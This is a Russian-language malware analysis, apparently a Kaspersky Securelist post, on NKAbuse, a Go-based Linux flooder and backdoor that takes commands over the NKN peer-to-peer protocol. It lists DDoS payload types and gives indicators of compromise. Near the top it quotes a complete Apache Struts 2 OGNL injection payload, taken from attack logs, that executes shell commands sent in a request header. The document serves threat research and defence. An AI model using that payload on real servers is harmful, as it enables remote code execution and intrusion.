В ходе мероприятий по реагированию специалисты глобальной команды «Лаборатории Касперского» по реагированию на киберинциденты (GERT) и глобального центра исследования и анализа угроз (GReAT) обнаружили новую мультиплатформенную угрозу — NKAbuse. Это мощный имплант с функциональностью флудера и бэкдора, в котором реализованы одноранговые коммуникации на основе технологии NKN. Он написан на языке Go и может генерировать бинарные файлы, совместимые с различными архитектурами.
Проанализировав поведение зловреда, мы выяснили, что NKAbuse в первую очередь нацелен на компьютеры на платформе x86. Однако, учитывая, что он способен заражать системы MIPS и ARM, он представляет угрозу и для IoT-устройств.
NKAbuse проникает в системы, загружая имплант на хост жертвы. Для закрепления в системе он запускает задачу cron и устанавливается в домашний каталог хоста. Возможности его широки: он не только забивает каналы ненужным трафиком, но и открывает злоумышленникам удаленный доступ к устройствам жертвы.
Оглавление
Новый тип сети
Протокол NKN (от англ. New Kind of Network — новый тип сети) применяется в одноранговых и блокчейн-сетях, обеспечивая децентрализацию и приватность. В настоящий момент сеть NKN объединяет более 180 000 легитимных узлов. С помощью многочисленных алгоритмов маршрутизации сеть выстраивает кратчайший путь для передачи данных к нужному узлу.
При появлении новых протоколов связи, таких как NKN, злоумышленники традиционно приспосабливают их для подключения к командным серверам или бот-мастерам. Анализируемый зловред не исключение: он использует публичный блокчейн-протокол NKN для получения команд на проведение масштабных флуд-атак и реализации функций бэкдора в системах Linux.
Знакомый вектор атаки
Проанализировав улики, команда GERT пришла к выводу, что злоумышленники воспользовались старой уязвимостью в платформе Apache Struts 2 (CVE-2017-5638), чтобы атаковать неназванную финансовую организацию.
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#cont
ainer=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.g
etInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNam
es().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(
#req=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’)).(#cmds=@java.n
et.URLDecoder@decode(#req.getHeader(‘shell’),’UTF-8′)).(#cmd={‘/bin / bash’, ‘ — c’,
#cmds}).(#p = new java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process
= #p.start()).(#ros =
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.c
ommons.io.IOUtils@copy(#process.getInputStream(), #ros))
Записи журналов, извлеченные с зараженного веб-сервиса в качестве доказательства
Этот фрагмент журнала аудита полностью совпадает с демонстрационным кодом (PoC), приведенным в заметке S2-048 из коллекции Vulhub. Эта уязвимость позволяет злоумышленнику выполнять команды на сервере, передавая их в заголовках с пометкой shell и выполняя их через Bash. Эксплуатация уязвимости приводит к выполнению команды, которая загружает в систему скрипт для запуска цепочки заражения.
Новый мультиплатформенный имплант
Как правило, вредоносная программа устанавливается на устройство жертвы путем выполнения удаленного шелл-скрипта, который загружает и выполняет содержимое файла setup.sh, размещенного злоумышленником на удаленном хосте. Этот файл определяет тип ОС, после чего загружает с того же сервера вредоносный имплант соответствующего типа с именем app_linux_{ARCH}, где вместо {ARCH} указан тип целевой ОС. Имплант помещается в каталог временных файлов /tmp, откуда и запускается. Он поддерживает восемь архитектур, данные о которых хранятся на сервере:
386;
arm64;
arm;
amd64;
mips;
mipsel;
mips64;
mips64el.
Мы рассмотрим версию для архитектуры amd64 (x86-64).
После запуска вредоносная программа проверяет, является ли она единственным запущенным экземпляром, и перемещается из каталога временных файлов в более безопасное место — папку /root/.config/StoreService/, внутри которой создает подпапки files и .cache. Имплант извлекает IP-адрес зараженного устройства с помощью GET-запроса к веб-ресурсу ifconfig.me. Затем он загружает файл конфигурации по умолчанию из папки .cache. Если его там нет, загружаются прописанные в коде настройки.
Эта конфигурация сохраняется в новой кэш-структуре, в которой хранятся и другие важные регулярно используемые параметры, например сгенерированный закрытый ключ.
После перезагрузки устройства NKAbuse запускается с помощью задач cron. Для этого у зловреда должны быть root-права. Он проверяет значение ID текущего пользователя. Если оно равно 0, зловред добавляет себя в текущий список заданий crontab, чтобы запускаться после каждой перезагрузки.
Новый протокол связи
Для взаимодействия с бот-мастером, отправки и получения информации NKAbuse использует протокол NKN. Вредоносный имплант создает новую учетную запись и новый экземпляр мультиклиентного модуля (multiclient), чтобы передавать и получать данные через несколько клиентов одновременно, что повышает надежность связи с бот-мастером.
Учетная запись NKN создается с параметрами по умолчанию, после чего мультиклиентный модуль инициализируется с использованием идентификатора, который в нашем случае представлял собой строку из 64 символов, содержащую открытый ключ и адрес удаленного хоста зловреда.
После настройки параметров обмена данными на клиенте зловред развертывает обработчик для приема входящих сообщений от бот-мастера. Обработчик ожидает поступления сообщений и в зависимости от полученного кода выполняет один из более чем сорока сценариев.
В арсенале NKAbuse есть множество сценариев DDoS-атак. Ниже перечислены варианты полезной нагрузки, которые используются для проведения флуд-атак.
Команда
Атака
Default/0
http_flood_HTTPGetFloodPayload
1
http_flood_HTTPPostFloodPayload
2
tcp_flood_TCPFloodPayload
3
udp_flood_UDPFloodPayload
4
ping_flood_PINGFloodPayload
5
tcp_syn_flood_TCPSynFloodPayload
6
ssl_flood_SSLFloodPayload
7
http_slowloris_HTTPSlowlorisPayload
8
http_slow_body_HTTPSlowBodyPayload
9
http_slow_read_HTTPSlowReadPayload
10
icmp_flood_ICMPFloodPayload
11
dns_nxdomain_DNSNXDOMAINPayload
Все эти типы полезной нагрузки традиционно использовались в ботнет-атаках, однако благодаря протоколу связи NKN зловред может асинхронно ожидать команды бот-мастера для проведения комбинированных атак. Отметим, что последний тип вредоносной нагрузки отличается от других. NKAbuse отправляет на DNS-сервер огромное количество спам-запросов (типа AAAA). В ответ сервер пытается разрешить имена поддоменов в формате {JUNK}.google.com, где {JUNK} представляет собой случайно сгенерированное имя поддомена, состоящее из символов из диапазонов 0-9, a-z и A-Z.
Новый бэкдор с возможностью удаленного администрирования
Зловред NKAbuse включает целый ряд функций для закрепления в системе, сбора информации и выполнения команд, которые делают его не просто инструментом для DDoS-атак, но еще и мощным бэкдором или троянцем удаленного доступа (RAT).
Вредоносный имплант использует структуру под названием Heartbeat, которая регулярно обменивается данными с бот-мастером. Кроме того, он содержит и другие структуры, в которых хранится информация о зараженном хосте: PID, IP-адрес жертвы, объем свободной памяти, текущие параметры конфигурации и так далее.
Зловред также способен делать снимки экрана зараженного устройства. С помощью инструмента с открытым исходным кодом он определяет границы текущего экрана, захватывает его изображение и отправляет результат бот-мастеру в формате PNG.
Помимо всего прочего, NKAbuse способен создавать файлы с определенным содержимым, удалять файлы из файловой системы и генерировать список файлов, расположенных в указанном каталоге. Он может получать перечень запущенных процессов, а также подробный список доступных сетевых интерфейсов. Возможность запускать системные команды превращает этот имплант в полнофункциональный бэкдор. Команды выполняются от имени текущего пользователя, а результат их выполнения передается бот-мастеру по протоколу NKN.
Новая угроза
Новые кросс-платформенные флудеры и бэкдоры, наподобие NKAbuse, являются относительно редким явлением, однако они привлекают к себе внимание благодаря использованию менее распространенных протоколов связи. Судя по всему, анализируемый имплант был тщательно подготовлен к интеграции в ботнет, при этом на отдельном хосте он способен выполнять функции бэкдора. Использование блокчейна обеспечивает надежность и анонимность операций. Ботнет будет сложно вычислить из-за отсутствия централизованного контрольного сервера, что обеспечит ему стабильный рост со временем.
Это вредоносное ПО не обладает функцией самораспространения, значит, оператору нужно доставлять первоначальную вредоносную нагрузку самостоятельно путем эксплуатации уязвимости.
Наша телеметрия показывает, что жертвы зловреда есть в Колумбии, Мексике и во Вьетнаме. Все продукты «Лаборатории Касперского» детектируют угрозу как HEUR:Backdoor.Linux.NKAbuse.a.
Более подробный анализ последних версий NKAbuse доступен в наших закрытых аналитических отчетах об угрозах. Если у вас остались вопросы, связанные с темой данного исследования, напишите нам по адресу crimewareintel@kaspersky.com.
Индикаторы компрометации
Индикаторы компрометации хоста:
MD5: 11e2d7a8d678cd72e6e5286ccfb4c833
Создаваемые файлы:
/root/.config/StoreService
/root/.config/StoreService/app_linux_amd64
/root/.config/StoreService/files
/root/.config/StoreService/.cache
Securelist